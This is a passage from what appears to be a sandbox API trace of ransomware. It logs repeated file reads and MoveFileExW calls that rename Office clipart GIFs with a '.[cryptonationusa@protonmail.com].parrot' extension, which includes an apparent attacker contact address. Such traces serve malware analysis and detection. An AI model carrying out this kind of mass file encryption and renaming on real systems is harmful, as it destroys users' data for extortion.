Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01219_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.347] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0154.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0154.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0154.349] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.349] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.350] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.350] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16b, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x16b, lpOverlapped=0x0) returned 1 [0154.351] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.351] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01237_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01237_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.353] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3174070 | out: hHeap=0x5b0000) returned 1 [0154.353] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0154.353] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69c668 | out: hHeap=0x5b0000) returned 1 [0154.354] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.354] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.355] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.355] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x167, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x167, lpOverlapped=0x0) returned 1 [0154.356] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.356] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01238_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01238_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.358] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0154.358] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0154.358] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3174070 | out: hHeap=0x5b0000) returned 1 [0154.360] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.360] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.361] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.361] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x19a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x19a, lpOverlapped=0x0) returned 1 [0154.361] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.362] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01239_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01239_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.363] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9268 | out: hHeap=0x5b0000) returned 1 [0154.363] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0154.363] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5d18 | out: hHeap=0x5b0000) returned 1 [0154.365] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.365] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.366] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.366] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14d, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x14d, lpOverlapped=0x0) returned 1 [0154.366] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.367] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01240_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01240_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.374] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9268 | out: hHeap=0x5b0000) returned 1 [0154.374] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0154.374] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1760 | out: hHeap=0x5b0000) returned 1 [0154.376] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.376] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.376] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.377] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x182, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x182, lpOverlapped=0x0) returned 1 [0154.377] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.377] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01241_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01241_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.389] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab268 | out: hHeap=0x5b0000) returned 1 [0154.389] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0154.389] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5d18 | out: hHeap=0x5b0000) returned 1 [0154.392] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.392] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.392] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.393] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x158, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x158, lpOverlapped=0x0) returned 1 [0154.393] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.393] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01242_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01242_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.406] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x690268 | out: hHeap=0x5b0000) returned 1 [0154.407] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0154.407] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1760 | out: hHeap=0x5b0000) returned 1 [0154.411] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.411] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.412] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.412] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1af, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1af, lpOverlapped=0x0) returned 1 [0154.412] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.413] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01243_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01243_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.421] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x696268 | out: hHeap=0x5b0000) returned 1 [0154.421] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0154.421] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5d18 | out: hHeap=0x5b0000) returned 1 [0154.423] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.423] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.424] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.424] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d3, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1d3, lpOverlapped=0x0) returned 1 [0154.425] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.425] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01244_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01244_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x696268 | out: hHeap=0x5b0000) returned 1 [0154.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0154.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0154.468] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.468] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.469] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.469] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x155, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x155, lpOverlapped=0x0) returned 1 [0154.469] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.469] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01245_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01245_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.488] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.488] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0154.488] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1760 | out: hHeap=0x5b0000) returned 1 [0154.490] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.490] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.491] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.491] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ce, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1ce, lpOverlapped=0x0) returned 1 [0154.491] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.492] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01246_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01246_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0154.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0154.495] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.495] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.497] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.497] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xff7, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xff7, lpOverlapped=0x0) returned 1 [0154.497] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.498] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01253_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01253_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.499] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.499] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0154.499] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ad250 | out: hHeap=0x5b0000) returned 1 [0154.501] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.501] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.502] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.502] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ab, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1ab, lpOverlapped=0x0) returned 1 [0154.502] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.502] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01268_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01268_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x690268 | out: hHeap=0x5b0000) returned 1 [0154.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5d18 | out: hHeap=0x5b0000) returned 1 [0154.508] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.509] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.509] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.509] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x255, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x255, lpOverlapped=0x0) returned 1 [0154.510] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.510] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01292_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01292_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x690268 | out: hHeap=0x5b0000) returned 1 [0154.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0154.516] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.516] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.517] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.517] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a7, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2a7, lpOverlapped=0x0) returned 1 [0154.517] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.517] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01293_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01293_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x690268 | out: hHeap=0x5b0000) returned 1 [0154.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0154.521] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.521] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, 